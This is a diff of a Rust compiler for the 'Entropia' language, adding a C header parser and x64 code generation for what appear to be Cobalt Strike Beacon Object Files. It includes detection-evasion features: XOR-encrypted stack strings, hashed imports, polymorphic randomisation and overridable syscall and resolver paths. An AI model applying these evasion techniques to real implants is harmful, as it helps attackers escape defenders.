{ + if s == "struct" || s == "union" { + let is_union_inner = s == "union"; + // Peek-by-advance: save state for the rare case the + // construct is struct Tag field; (use of a + // previously-declared record by tag, no braces). + self.advance()?; + self.skip_annotations()?; + let tag = if let CTok::Ident(t) = &self.cur { + let t = t.clone(); + self.advance()?; + Some(t) + } else { None }; + + if matches!(self.cur, CTok::LBrace) { + // Inline definition. Synthesize a name. + let syn = match &tag { + Some(t) if !t.is_empty() => t.clone(), + _ => { + self.anon_counter += 1; + format!("__anon_{}_{}", if is_union_inner {"u"} else {"s"}, self.anon_counter) + } + }; + self.expect(&CTok::LBrace, "`{`")?; + let inner_fields = self.parse_field_list()?; + self.expect(&CTok::RBrace, "`}`")?; + self.out.structs.push(StructDef { + name: syn.clone(), + fields: inner_fields, + is_union: is_union_inner, + attrs: Vec::new(), + }); + self.struct_tags.insert(syn.clone()); + + self.skip_annotations()?; + if matches!(self.cur, CTok::Semi) { + // Anonymous member - synthesize a field name. + self.advance()?; + let fname = format!("__anon_field_{}", self.anon_counter); + fields.push((fname, syn)); + continue; + } + let fname = self.expect_ident()?; + let arr = self.maybe_array_suffix()?; + self.expect(&CTok::Semi, "`;`")?; + let final_ty = match arr { + None => syn, + Some(n) => format!("{syn}[{n}]"), + }; + fields.push((fname, final_ty)); + continue; + } else { + let base = tag.clone().ok_or_else(|| self.err( + "expected `{` or a tag after `struct`/`union` in field" + ))?; + let stars = self.eat_pointer_stars(); + self.skip_annotations()?; + let fname = self.expect_ident()?; + let arr = self.maybe_array_suffix()?; + self.expect(&CTok::Semi, "`;`")?; + let elem_ty = if stars > 0 { "u64".to_string() } else { base }; + let final_ty = match arr { + None => elem_ty, + Some(n) => format!("{elem_ty}[{n}]"), + }; + fields.push((fname, final_ty)); + continue; + } + } + } + + // Standard field: [*]* [[N]]?;. Also + // handles function-pointer fields: (CC *name)(...);. + let base = self.parse_type_specifier()?; + let stars = self.eat_pointer_stars(); + self.skip_annotations()?; + + // Function-pointer field: (*name)(params) or with + // calling-convention prefix. Collapses to u64. + if matches!(self.cur, CTok::LParen) { + self.expect(&CTok::LParen, "`(`")?; + self.skip_annotations()?; + let _inner_stars = self.eat_pointer_stars(); + self.skip_annotations()?; + let fname = self.expect_ident()?; + self.expect(&CTok::RParen, "`)`")?; + self.eat_balanced_parens()?; + self.skip_annotations()?; + self.expect(&CTok::Semi, "`;`")?; + fields.push((fname, "u64".to_string())); + continue; + } + + let fname = self.expect_ident()?; + let arr = self.maybe_array_suffix()?; + self.skip_annotations()?; + self.expect(&CTok::Semi, "`;`")?; + + let elem_ty = if stars > 0 { "u64".to_string() } else { base }; + let final_ty = match arr { + None => elem_ty, + Some(n) => format!("{elem_ty}[{n}]"), + }; + fields.push((fname, final_ty)); + } + Ok(fields) + } + + /// Optional [N] after an identifier in a field/typedef. Returns + /// Some if present, None if not. + fn maybe_array_suffix(&mut self) -> Result, String> { + if !matches!(self.cur, CTok::LBracket) { return Ok(None); } + self.advance()?; + let n = match &self.cur { + CTok::Int(n) => { let v = *n as usize; self.advance()?; v } + other => return Err(self.err(&format!( + "expected integer array length, got {other:?}" + ))), + }; + self.expect(&CTok::RBracket, "`]`")?; + Ok(Some(n)) + } + + /// Read one type-specifier: optionally signed/unsigned followed by an + /// integer keyword (char/short/int/long/long long), OR a struct Tag, + /// OR a union Tag, OR a previously-defined typedef. + fn parse_type_specifier(&mut self) -> Result { + loop { + if let CTok::Ident(s) = &self.cur { + if s == "const" || s == "volatile" || s == "restrict" { self.advance()?; continue; } + } + break; + } + // struct Tag or union Tag + if let CTok::Ident(s) = &self.cur { + if s == "struct" || s == "union" { + self.advance()?; + let tag = self.expect_ident()?; + // Auto-register the tag as a known type so forward + // references through pointers (struct Foo*) work + // even if the definition appears later. + self.struct_tags.insert(tag.clone()); + return Ok(tag); + } + } + let mut is_unsigned = None::; + if let CTok::Ident(s) = &self.cur { + if s == "unsigned" { is_unsigned = Some(true); self.advance()?; } + else if s == "signed" { is_unsigned = Some(false); self.advance()?; } + } + let kw = match &self.cur { + CTok::Ident(s) => s.clone(), + other => return Err(self.err(&format!("expected type, got {other:?}"))), + }; + match kw.as_str() { + "char" => { self.advance()?; Ok(if is_unsigned.unwrap_or(true) { "u8".into() } else { "i8".into() }) } + "short" => { self.advance()?; Ok(if is_unsigned.unwrap_or(false) { "u16".into() } else { "i16".into() }) } + "int" => { self.advance()?; Ok(if is_unsigned.unwrap_or(false) { "u32".into() } else { "i32".into() }) } + "long" => { + self.advance()?; + let is_ll = matches!(&self.cur, CTok::Ident(s) if s == "long"); + if is_ll { self.advance()?; } + let size_bits = if is_ll { 64 } else { 32 }; + Ok(match (is_unsigned.unwrap_or(false), size_bits) { + (true, 64) => "u64".into(), + (false, 64) => "i64".into(), + (true, 32) => "u32".into(), + (false, 32) => "i32".into(), + _ => unreachable!(), + }) + } + other => { + if is_unsigned.is_some() { + return Err(self.err(&format!( + "`{}{kw}` is not a valid C integer type", + if is_unsigned == Some(true) { "unsigned " } else { "signed " } + ))); + } + if other == "void" { + self.advance()?; + return Ok("void".into()); + } + self.advance()?; + if let Some(resolved) = self.typedefs.get(other) { + Ok(resolved.clone()) + } else if self.struct_tags.contains(other) { + Ok(other.to_string()) + } else { + Err(self.err(&format!("unknown type `{other}`"))) + } + } + } + } + + fn eat_pointer_stars(&mut self) -> usize { + let mut n = 0; + while matches!(self.cur, CTok::Star) { + let _ = self.advance(); + n += 1; + } + n + } + + /// , *ALIAS [, *ALIAS2]* - common C pattern after a typedef to also + /// expose a pointer alias. We register the alias names as u64 typedefs + /// so they're usable in subsequent name positions. + fn skip_pointer_aliases(&mut self) -> Result<(), String> { + while matches!(self.cur, CTok::Comma) { + self.advance()?; + let _stars = self.eat_pointer_stars(); + if let CTok::Ident(s) = &self.cur { + let n = s.clone(); + self.advance()?; + self.typedefs.insert(n, "u64".to_string()); + } else { + return Err(self.err("expected identifier after `,`")); + } + } + Ok(()) + } +} + +/// C primitive spellings to Entropia canonical type names. +// These get pre-loaded into the typedef table so user-written headers can refer to them by either form. +const PRIMITIVES: &[(&str, &str)] = &[ + ("uint8_t", "u8"), + ("uint16_t", "u16"), + ("uint32_t", "u32"), + ("uint64_t", "u64"), + ("int8_t", "i8"), + ("int16_t", "i16"), + ("int32_t", "i32"), + ("int64_t", "i64"), + ("size_t", "u64"), + ("ptrdiff_t","i64"), + ("uintptr_t","u64"), + ("intptr_t", "i64"), + ("FILE", "u64"), +]; diff --git a/src/codegen.rs b/src/codegen.rs new file mode 100644 index 0000000..53905ca --- /dev/null +++ b/src/codegen.rs @@ -0,0 +1,3450 @@ + +use std::collections::{HashMap, HashSet}; + +use crate::asm::{AsmBody, AsmLine, AsmMem, AsmMemBase, AsmOperand}; +use crate::ast::*; +use crate::encoder::{Cond, DbgMark, Encoder, Reg64}; +use crate::gc; +use crate::macros; +use crate::polymorphism; +use crate::resolver::{self, Import}; +use crate::veh; +use crate::shared; + +/// Namespaces the compiler interprets directly instead of treating them as +/// Win32 DLL prefixes. Add to this list when introducing new intrinsic +/// groups (mem.*, shared.*, str.*, future syscall.*). +const INTRINSIC_NAMESPACES: &[&str] = &["mem", "shared", "str"]; + +pub struct CompiledBlob { + pub code: Vec, + pub dbg_marks: Vec, + pub dbg_vars: Vec, + pub cna_script: Option, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum GcMode { + /// Default. Emit the GC runtime iff the program calls mem.alloc. + Auto, + /// Always emit the GC runtime. + On, + /// Never emit the runtime. mem.alloc becomes a compile error. + Off, + Manual, +} + +impl Default for GcMode { + fn default() -> Self { GcMode::Auto } +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum BuildKind { Standard, Bof, Coff } + +impl Default for BuildKind { + fn default() -> Self { BuildKind::Standard } +} + +impl BuildKind { + pub fn is_object(self) -> bool { + matches!(self, BuildKind::Bof | BuildKind::Coff) + } + pub fn entry_name(self) -> &'static str { + match self { + BuildKind::Standard => "main", + BuildKind::Bof | BuildKind::Coff => "go", + } + } +} + +const FMT_BUF_SIZE: usize = 256; + +const STACK_STR_MAX_BYTES: usize = 64; + +/// T* is the canonical type spelling for "pointer to T". Any number of +/// trailing *s is allowed (the parser keeps them) - only the rightmost +/// * is consumed by a single deref / pointee lookup. +fn is_pointer_type(ty: &str) -> bool { + ty.ends_with('*') +} + +fn parse_array_type(ty: &str) -> Option<(&str, usize)> { + let close = ty.strip_suffix(']')?; + let open = close.rfind('[')?; + let elem = &close[..open]; + let n_str = &close[open + 1..]; + let n: usize = n_str.parse().ok()?; + Some((elem, n)) +} + +#[derive(Debug, Default, Clone)] +pub struct Overrides { + pub bootstrap: Option, + pub resolver: Option, + pub ntcall: Option, +} + +#[derive(Debug, Default, Clone)] +pub struct HookTable { + /// Target symbol (e.g. USER32$MessageBoxA or BeaconPrintf) to + /// hook function name. Lookup is by the SAME key the call site + /// would otherwise emit as __imp_. + pub map: HashMap, +} + +#[derive(Debug, Default, Clone)] +pub struct StageTable { + /// Functions called after init, before user code. Source order. + pub init: Vec, + /// Functions called at the ret_label, before frame tear-down. + /// Source order. Each call is wrapped in a save/restore of rax + /// so the user's return value survives. + pub exit: Vec, +} + +/// Parsed view of one function's hook-related attributes. Lifetime +/// of these objects is the codegen pass; they sit alongside the +/// frame metadata while a function is being lowered. +#[derive(Debug, Default, Clone)] +struct FnHookCtx { + /// Some when this function is a [Hook] + /// implementation. Codegen uses it to suppress recursion: a hook + /// for X calling X internally redirects to the real X. + is_hook_for: Option, + /// True when [NoHook] (no arg) appears on this function - all + /// hooked targets bypass the hook table inside this body. + no_hook_all: bool, + /// [NoHook] entries - targets to skip individually. + no_hook: HashSet, +} + +/// Walk every function's attribute list and resolve OPSEC overrides +/// + the aspect-oriented hook table. Returns both, paired so codegen +/// only walks attribute lists once. +fn build_attributes(prog: &Program) -> Result<(Overrides, HookTable, StageTable), String> { + let mut overrides = Overrides::default(); + let mut hooks = HookTable::default(); + let mut stages = StageTable::default(); + for f in &prog.functions { + for a in &f.attrs { + match a.kind.as_str() { + "Override" => { + let slot = a.arg.as_deref().ok_or_else(|| format!( + "function `{}`: `[Override]` needs a slot name - try `[Override(Bootstrap)]`, \ + `[Override(Resolver)]`, or `[Override(NtCall)]`", + f.name + ))?; + let target: &mut Option = match slot { + "Bootstrap" => &mut overrides.bootstrap, + "Resolver" => &mut overrides.resolver, + "NtCall" => &mut overrides.ntcall, + other => return Err(format!( + "function `{}`: unknown override slot `{other}` \ + (valid: Bootstrap, Resolver, NtCall)", + f.name + )), + }; + if let Some(existing) = target { + return Err(format!( + "two functions claim `[Override({slot})]`: `{existing}` and `{}`. \ + Only one override per slot is allowed.", + f.name + )); + } + *target = Some(f.name.clone()); + } + "Hook" => { + let target = a.arg.as_deref().ok_or_else(|| format!( + "function `{}`: `[Hook]` needs a target symbol - \ + try `[Hook(\"USER32$MessageBoxA\")]` or `[Hook(\"BeaconPrintf\")]`", + f.name + ))?; + if let Some(existing) = hooks.map.get(target) { + return Err(format!( + "two functions claim `[Hook(\"{target}\")]`: \ + `{existing}` and `{}`. A hook target may have \ + only one implementation.", + f.name + )); + } + if f.is_extern { + return Err(format!( + "function `{}`: `[Hook]` cannot apply to an `extern fn` - \ + a hook needs a body to redirect into.", + f.name + )); + } + hooks.map.insert(target.to_string(), f.name.clone()); + } + "NoHook" => { + } + "BofCommand" => { + } + "Stage" => { + let slot = a.arg.as_deref().ok_or_else(|| format!( + "function `{}`: `[Stage]` needs a phase name - \ + try `[Stage(Init)]` (runs after init, before user code) or \ + `[Stage(Exit)]` (runs before the entry function returns)", + f.name + ))?; + if !f.params.is_empty() || f.ret_ty != "void" { + return Err(format!( + "function `{}`: `[Stage({slot})]` requires the signature \ + `fn {}() -> void` - stage hooks take no arguments and \ + return nothing.", + f.name, f.name + )); + } + if f.is_extern { + return Err(format!( + "function `{}`: `[Stage({slot})]` cannot apply to an \ + `extern fn` - a stage handler needs a body to emit.", + f.name + )); + } + match slot { + "Init" => stages.init.push(f.name.clone()), + "Exit" => stages.exit.push(f.name.clone()), + other => return Err(format!( + "function `{}`: unknown stage `{other}` \ + (valid: Init, Exit)", + f.name + )), + } + } + other => return Err(format!( + "function `{}`: unknown attribute `{}` (valid: `Override(...)`, \ + `Hook(\"...\")`, `NoHook[(\"...\")]`, `BofCommand(\"...\")`, \ + `Stage(Init|Exit)`)", + f.name, other + )), + } + } + } + Ok((overrides, hooks, stages)) +} + +/// Distil the per-function hook context. Cheap to call repeatedly - +/// runs once at the top of gen_function. +fn collect_fn_hook_ctx(f: &Function) -> FnHookCtx { + let mut ctx = FnHookCtx::default(); + for a in &f.attrs { + match a.kind.as_str() { + "Hook" => { + if let Some(t) = &a.arg { + ctx.is_hook_for = Some(t.clone()); + } + } + "NoHook" => match &a.arg { + None => ctx.no_hook_all = true, + Some(t) => { ctx.no_hook.insert(t.clone()); } + }, + _ => {} + } + } + ctx +} + +fn printf_spec_for(spec: &str, arg_ty: &str) -> Result { + Ok(match spec { + "" => { + if arg_ty == "str" { "%s".into() } + else if arg_ty == "wstr" { "%S".into() } // wide-string + else if arg_ty.ends_with('*') { "%p".into() } + else { "%I64d".into() } + } + "d" => "%I64d".into(), + "u" => "%I64u".into(), + "x" => "%I64x".into(), + "X" => "%I64X".into(), + "s" => "%s".into(), + "p" => "%p".into(), + other => return Err(format!( + "str.format: unknown specifier `{{{other}}}` \ + (try `{{}}`, `{{d}}`, `{{u}}`, `{{x}}`, `{{X}}`, `{{s}}`, `{{p}}`)" + )), + }) +} + +/// Strip exactly one trailing * to get the pointee type. u32* to u32, Beacon** to Beacon*. Returns None if ty doesn't end in *. +fn pointee(ty: &str) -> Option<&str> { + ty.strip_suffix('*') +} + +/// Per-field metadata after layout. offset is the field's byte offset +/// from the start of its enclosing struct; size is the field's storage +/// width in bytes. Computed by [CodeGen::layout_struct]. +#[derive(Debug, Clone)] +pub struct StructField { + pub ty: String, + pub offset: i32, + pub size: usize, +} + +#[derive(Debug, Clone)] +pub struct StructLayout { + pub size: usize, + pub align: usize, + pub fields: HashMap, +} + +/// A global declared at module scope. The label is the data-section anchor +/// the codegen uses for every read/write of this global. +#[derive(Debug, Clone)] +struct GlobalSlot { + label: String, + ty: String, + /// Saved at codegen time so main's prologue can replay the initialiser + /// after the runtime bootstraps but before user code. + init: Option, +} + +#[derive(Debug, Clone)] +enum ResolvedMem { + /// [rbp + disp] - frame-relative slot. Distinguished from + /// the generic BaseDisp so the encoder's specialised + /// mov_r64_rbp_disp / lea_r64_r64disp paths get picked. + RbpDisp(i32), + /// [base + disp] - base-register relative. + BaseDisp { base: Reg64, disp: i32 }, + /// [base + idx*scale + disp] - SIB-indexed. + BaseIdx { base: Reg64, idx: Reg64, scale: u32, disp: i32 }, + /// [rip + label] - global / static data, resolved by name. + RipData (String), + /// [disp] (no base/index). Only valid with a segment override. + SegAbs { disp: i32 }, +} + +pub struct CodeGen { + enc: Encoder, + /// fname -> stack-offset map for the current function + locals: HashMap, + local_types: HashMap, + loop_stack: Vec<(String, String)>, + next_off: i32, + label_counter: u32, + current_ret_label: String, + imports: Vec, + /// Set by the pre-scan in generate so main's prologue knows whether to + /// emit call __resolve_imports. Without this, the prologue check would + /// race with gen_call populating self.imports later in the same pass. + needs_resolver: bool, + needs_veh: bool, + needs_gc: bool, + /// Build-level GC selection (CLI: --gc=auto|on|off). Auto is the + /// historical behaviour - runtime is emitted iff mem.alloc is used. + gc_mode: GcMode, + kind: BuildKind, + /// Set when the program calls shared.get/shared.put. Controls both + /// the __host_services slot + the get/put trampolines and the rcx save + /// in main's prologue. + needs_shared: bool, + overrides: Overrides, + stages: StageTable, + hooks: HookTable, + /// Per-function hook context for the function currently being + /// lowered. [Hook] self-recursion bypass and [NoHook] / + /// [NoHook] per-call-site exclusion both read from this. + current_fn_hook: FnHookCtx, + /// Layout of every struct declared in the program. Populated once at + /// the top of generate so field offsets are available throughout. + struct_layouts: HashMap, + /// Every static declared in the program. Insertion-ordered to keep + /// initialiser emission deterministic. + globals: Vec, + /// Reverse index from variable name to its position in globals so + /// lookups in gen_expr are O. + globals_idx: HashMap, + /// Cached fn_name -> ret_ty for every locally-declared function. + /// Built once at the top of generate so callsite lowering can ask + /// "does this fn return a struct?" without re-walking the AST. + fn_ret_types: HashMap, + extern_fns: HashSet, + current_ret_dst_off: Option, + /// Declared return type of the function currently being lowered. + /// Stmt::Ret reads it when the type is a struct so it knows the + /// size of the memcpy into the hidden destination. + current_ret_ty: String, + opsec: polymorphism::OpsecConfig, + rng: polymorphism::Rng, +} + +impl CodeGen { + /// Convenience constructor with default GcMode::Auto. Kept for + /// external Rust callers / future test harnesses; the CLI driver goes + /// through with_gc_mode so the flag actually reaches the codegen. + #[allow(dead_code)] + pub fn new() -> Self { Self::with_options(GcMode::Auto, BuildKind::Standard) } + + pub fn with_gc_mode(gc_mode: GcMode) -> Self { + Self::with_options(gc_mode, BuildKind::Standard) + } + + pub fn with_options(gc_mode: GcMode, kind: BuildKind) -> Self { + Self::with_opsec(gc_mode, kind, polymorphism::OpsecConfig::default()) + } + + pub fn with_opsec( + gc_mode: GcMode, + kind: BuildKind, + opsec: polymorphism::OpsecConfig, + ) -> Self { + // Resolve the seed once so every randomised pass in this + // build shares the same RNG state. opsec.seed == None + // means "draw from system-time nanos". + let resolved_seed = opsec.seed.unwrap_or_else(|| { + use std::time::{SystemTime, UNIX_EPOCH}; + SystemTime::now() + .duration_since(UNIX_EPOCH) + .map(|d| d.as_nanos() as u64) + .unwrap_or(0xDEAD_BEEF_DEAD_BEEF) + }); + Self { + enc: Encoder::new(), + locals: HashMap::new(), + local_types: HashMap::new(), + loop_stack: Vec::new(), + overrides: Overrides::default(), + stages: StageTable::default(), + hooks: HookTable::default(), + current_fn_hook: FnHookCtx::default(), + next_off: 0, + label_counter: 0, + current_ret_label: String::new(), + imports: Vec::new(), + needs_resolver: false, + needs_veh: false, + needs_gc: false, + needs_shared: false, + gc_mode, + kind, + struct_layouts: HashMap::new(), + globals: Vec::new(), + globals_idx: HashMap::new(), + fn_ret_types: HashMap::new(), + extern_fns: HashSet::new(), + current_ret_dst_off: None, + current_ret_ty: String::new(), + opsec, + rng: polymorphism::Rng::new(resolved_seed), + } + } + + fn new_label(&mut self, prefix: &str) -> String { + self.label_counter += 1; + format!(".L{prefix}_{}", self.label_counter) + } + + fn ensure_win32_import(&mut self, dll: &str, func: &str) -> Win32CallSite { + let bof_external = self.kind.is_object() && !self.opsec.hashed_imports; + if bof_external { + let lib_upper = dll.trim_end_matches(".dll").to_ascii_uppercase(); + let ext = format!("__imp_{lib_upper}${func}"); + Win32CallSite::Extern(ext) + } else { + let slot = resolver::slot_label(dll, func); + if !self.imports.iter().any(|i| i.slot == slot) { + self.imports.push(Import { + dll: dll.to_string(), + func: func.to_string(), + slot: slot.clone(), + }); + self.enc.add_bss(&slot, 8); + } + Win32CallSite::Slot(slot) + } + } + + /// Emit a call through the call-site descriptor returned by + /// ensure_win32_import. Caller is responsible for argument + /// setup + shadow space + alignment. + fn emit_win32_call(&mut self, site: &Win32CallSite) { + match site { + Win32CallSite::Extern(sym) => self.enc.call_extern(sym), + Win32CallSite::Slot(slot) => self.enc.call_indirect_data(slot), + } + } + + /// VEH: emit the AddVectoredExceptionHandler + /// call at the start of the entry function. Stores the returned + /// HANDLE into __opsec_veh_handle so the epilogue can remove it. + fn emit_veh_register(&mut self) { + veh::ensure_veh_slot(&mut self.enc); + let site = self.ensure_win32_import("kernel32.dll", "AddVectoredExceptionHandler"); + self.enc.sub_r64_imm32(Reg64::Rsp, 0x20); + self.enc.mov_r64_imm64(Reg64::Rcx, 1); // First = TRUE + self.enc.lea_r64_code(Reg64::Rdx, veh::VEH_FN); // handler + self.emit_win32_call(&site); + self.enc.add_r64_imm32(Reg64::Rsp, 0x20); + self.enc.mov_data_r64(veh::VEH_HANDLE_SLOT, Reg64::Rax); + } + + /// VEH: emit the RemoveVectoredExceptionHandler call at + /// the entry function's epilogue. Preserves rax (the function's + /// return value) across the call via a .bss scratch slot. + fn emit_veh_unregister(&mut self) { + veh::ensure_veh_slot(&mut self.enc); + const SAVED_RAX_SLOT: &str = "__opsec_veh_saved_rax"; + if !self.enc.data_has(SAVED_RAX_SLOT) { + self.enc.add_bss(SAVED_RAX_SLOT, 8); + } + let site = self.ensure_win32_import("kernel32.dll", "RemoveVectoredExceptionHandler"); + let skip_label = self.new_label("veh_no_unreg"); + + // Save the function's return value before clobbering rax. + self.enc.mov_data_r64(SAVED_RAX_SLOT, Reg64::Rax); + + // Load handle. Skip the call if it's zero (registration + // probably failed at startup; nothing to remove). + self.enc.mov_r64_data(Reg64::Rcx, veh::VEH_HANDLE_SLOT); + self.enc.test_r64_r64(Reg64::Rcx, Reg64::Rcx); + self.enc.jcc_label(crate::encoder::Cond::Z, &skip_label); + + self.enc.sub_r64_imm32(Reg64::Rsp, 0x20); + self.emit_win32_call(&site); + self.enc.add_r64_imm32(Reg64::Rsp, 0x20); + + self.enc.place_code_label(&skip_label); + // Restore the return value. + self.enc.mov_r64_data(Reg64::Rax, SAVED_RAX_SLOT); + } + + fn alloc_local(&mut self, name: &str) -> i32 { + self.alloc_local_sized(name, 8) + } + + /// Allocate size bytes (rounded up to 8) in the current frame for + /// name. Returns the offset from rbp (negative). Used by Stmt::Let + /// to lay down in-frame value-typed struct locals. + fn alloc_local_sized(&mut self, name: &str, size: usize) -> i32 { + let rounded = ((size + 7) / 8) * 8; + self.next_off -= rounded as i32; + let off = self.next_off; + self.locals.insert(name.to_string(), off); + off + } + + fn count_local_bytes(&self, stmts: &[Stmt]) -> usize { + let mut n = 0; + for s in stmts { + match s { + Stmt::Var { ty, value, .. } => { + // Struct- and array-typed locals carve a sized slot + // out of the frame. Scalar locals always cost 8 (one + // qword slot regardless of declared sized-int width). + let raw_size = if self.struct_layouts.contains_key(ty) { + self.struct_layouts[ty].size + } else if Self::is_array_type(ty) { + self.type_size(ty) + } else { + 8 + }; + n += ((raw_size + 7) / 8) * 8; + if let Some(v) = value { + if let Expr::StructLit { fields, .. } = v { + for (_, fv) in fields { + n += self.count_hidden_lit_bytes(fv); + } + } else { + n += self.count_hidden_lit_bytes(v); + } + } + } + Stmt::Expr { value: e, .. } => n += self.count_hidden_lit_bytes(e), + Stmt::Ret { value: Some(e), .. } => n += self.count_hidden_lit_bytes(e), + Stmt::Raise { value, .. } => n += self.count_hidden_lit_bytes(value), + Stmt::If { cond, then_body, else_body } => { + n += self.count_hidden_lit_bytes(cond) + + self.count_local_bytes(then_body) + + self.count_local_bytes(else_body); + } + Stmt::While { cond, body } => { + n += self.count_hidden_lit_bytes(cond) + + self.count_local_bytes(body); + } + Stmt::For { init, cond, step, body } => { + if let Some(i) = init { n += self.count_local_bytes(std::slice::from_ref(i)); } + if let Some(c) = cond { n += self.count_hidden_lit_bytes(c); } + if let Some(s) = step { n += self.count_local_bytes(std::slice::from_ref(s)); } + n += self.count_local_bytes(body); + } + Stmt::Try { body, handler, .. } => { + // The catch-binding gets its own 8-byte slot. Add it + // here so the prologue's frame is sized correctly even + // if the try is the only "local" in the function. + n += 8; + n += self.count_local_bytes(body) + + self.count_local_bytes(handler); + } + _ => {} + } + } + n + } + + fn should_stack_build_str(&self, s: &str) -> bool { + self.opsec.stack_strings && s.len() + 1 <= STACK_STR_MAX_BYTES + } + + fn emit_stack_string(&mut self, s: &str) -> Result<(), String> { + let slot_bytes = Self::stack_str_slot_bytes(s); + let n = self.label_counter; + self.label_counter += 1; + let off = self.alloc_local_sized(&format!("__stack_str_{n}"), slot_bytes); + + // Pack the literal (plus its terminating NUL, plus any + // pad bytes up to the slot boundary) into 8-byte chunks. + let mut bytes: Vec = Vec::with_capacity(slot_bytes); + bytes.extend_from_slice(s.as_bytes()); + bytes.push(0); + while bytes.len() < slot_bytes { bytes.push(0); } + + let mut key = self.rng.next_u64(); + if key == 0 { key = 0xA5A5_A5A5_DEAD_BEEF; } + + self.enc.mov_r64_imm64(Reg64::R11, key); + + for (chunk_idx, chunk) in bytes.chunks(8).enumerate() { + let mut q: u64 = 0; + for (i, b) in chunk.iter().enumerate() { + q |= (*b as u64) << (8 * i); + } + let encrypted = q ^ key; + // mov rax, + self.enc.mov_r64_imm64(Reg64::Rax, encrypted); + // xor rax, r11 to rax now holds the plaintext qword + self.enc.xor_r64_r64(Reg64::Rax, Reg64::R11); + let disp = off + (chunk_idx * 8) as i32; + self.enc.mov_rbp_disp_r64(disp, Reg64::Rax); + } + + // Leave the slot's address in rax. Callers consume this as + // the str value exactly like a lea r64, [rdata_label]. + self.enc.lea_r64_r64disp(Reg64::Rax, Reg64::Rbp, off); + Ok(()) + } + + /// Frame-byte cost of rebuilding s on the stack: round + /// len + 1 (NUL) up to the next 8-byte boundary. + fn stack_str_slot_bytes(s: &str) -> usize { + let raw = s.len() + 1; + ((raw + 7) / 8) * 8 + } + + fn count_hidden_lit_bytes(&self, e: &Expr) -> usize { + let mut n = 0; + match e { + Expr::StructLit { ty, fields, .. } => { + let raw = self.struct_layouts.get(ty).map(|l| l.size).unwrap_or(0); + n += ((raw + 7) / 8) * 8; + for (_, fv) in fields { n += self.count_hidden_lit_bytes(fv); } + } + Expr::Call { ns, fname, args, .. } => { + if ns.is_empty() { + if let Some(rt) = self.fn_ret_types.get(fname) { + if let Some(l) = self.struct_layouts.get(rt) { + n += ((l.size + 7) / 8) * 8; + } + } + } + let first_skip = ns == "str" && fname == "format"; + for (i, a) in args.iter().enumerate() { + if first_skip && i == 0 { continue; } + n += self.count_hidden_lit_bytes(a); + } + } + Expr::Binary { lhs, rhs, .. } => { + n += self.count_hidden_lit_bytes(lhs) + + self.count_hidden_lit_bytes(rhs); + } + Expr::Unary { operand, .. } => n += self.count_hidden_lit_bytes(operand), + Expr::Assign { value, .. } => n += self.count_hidden_lit_bytes(value), + Expr::Field { base, .. } => n += self.count_hidden_lit_bytes(base), + Expr::FieldAssign { base, value, .. } => { + n += self.count_hidden_lit_bytes(base) + + self.count_hidden_lit_bytes(value); + } + Expr::DerefAssign { ptr, value } => { + n += self.count_hidden_lit_bytes(ptr) + + self.count_hidden_lit_bytes(value); + } + Expr::Index { base, index } => { + n += self.count_hidden_lit_bytes(base) + + self.count_hidden_lit_bytes(index); + } + Expr::IndexAssign { base, index, value } => { + n += self.count_hidden_lit_bytes(base) + + self.count_hidden_lit_bytes(index) + + self.count_hidden_lit_bytes(value); + } + Expr::Cast { expr, .. } => n += self.count_hidden_lit_bytes(expr), + Expr::Str(s) => { + if self.should_stack_build_str(s) { + n += Self::stack_str_slot_bytes(s); + } + } + Expr::Int(_) | Expr::Bool(_) | Expr::Var(_) | Expr::SizeOf { .. } => {} + } + n + } + + /// Like [generate] but discards the debug-info sidecar. Kept for + /// any future test harness that only cares about the byte blob. + #[allow(dead_code)] + pub fn generate(self, prog: &Program) -> Result, String> { + Ok(self.generate_with_debug(prog)?.code) + } + + pub fn generate_with_debug(mut self, prog: &Program) -> Result { + // Resolve [Override] + [Hook] attributes once up + // front. Errors here (duplicate slots, unknown slot names, + // conflicting hooks) surface before any bytes are emitted. + let (overrides, hooks, stages) = build_attributes(prog)?; + self.overrides = overrides; + self.hooks = hooks; + self.stages = stages; + + let want_string_xor = self.opsec.strings_xor && !self.kind.is_object(); + if want_string_xor { + self.enc.mark_rdata_position("__rdata_start"); + } + + // Cache fn return types so callsite lowering can detect struct + // returns without rewalking. This is built before struct + // layouts so layout-lookup correctness is independent of order. + for f in &prog.functions { + self.fn_ret_types.insert(f.name.clone(), f.ret_ty.clone()); + if f.is_extern { + self.extern_fns.insert(f.name.clone()); + } + } + + self.needs_resolver = program_uses(prog, |e| is_win32_call(e)); + // VEH integration: enabled when the program has any try block. + // Forces the import resolver too, because we need + // Kernel32.AddVectoredExceptionHandler at startup. + self.needs_veh = program_uses_try(prog); + if self.needs_veh { + self.needs_resolver = true; + } + let uses_alloc = program_uses(prog, |e| + is_intrinsic(e, "mem", "alloc") || is_intrinsic(e, "mem", "collect")); + self.needs_gc = if self.kind.is_object() { + false + } else { + match self.gc_mode { + GcMode::Auto => uses_alloc, + GcMode::On => true, + GcMode::Manual => { + if uses_alloc { self.needs_resolver = true; } + false + } + GcMode::Off => { + if uses_alloc { + return Err( + "build was configured with `--gc=off` but this program \ + calls `mem.alloc(...)`. Switch to `--gc=manual` to use \ + HeapAlloc + explicit mem.free, or `--gc=auto` (default) / \ + `--gc=on` for managed allocation.".into() + ); + } + false + } + } + }; + self.needs_shared = program_uses(prog, |e| is_shared_call(e)); + + for s in &prog.structs { + // First-wins semantics for duplicate struct names - mirrors + // statics. Lets users import overlapping use_c headers + // without bookkeeping. + if self.struct_layouts.contains_key(&s.name) { + continue; + } + let mut off = 0usize; + let mut max_size = 0usize; + let mut max_align = 1usize; + let mut fields = HashMap::new(); + for (fname, fty) in &s.fields { + if fields.contains_key(fname) { + let kind = if s.is_union { "union" } else { "struct" }; + return Err(format!("{kind} {}: duplicate field {fname}", s.name)); + } + let size = self.type_size(fty); + let align = self.type_align(fty); + let field_off = if s.is_union { + 0 + } else { + off = (off + align - 1) & !(align - 1); + off + }; + fields.insert(fname.clone(), StructField { + ty: fty.clone(), + offset: field_off as i32, + size, + }); + if s.is_union { + if size > max_size { max_size = size; } + } else { + off += size; + } + if align > max_align { max_align = align; } + } + let base = if s.is_union { max_size } else { off }; + let total = if max_align == 0 { base } else { (base + max_align - 1) & !(max_align - 1) }; + self.struct_layouts.insert( + s.name.clone(), + StructLayout { size: total, align: max_align, fields }, + ); + } + + for st in &prog.statics { + if self.globals_idx.contains_key(&st.name) { + continue; + } + let size = self.size_of_type(&st.ty); + let label = format!("__static_{}", st.name); + 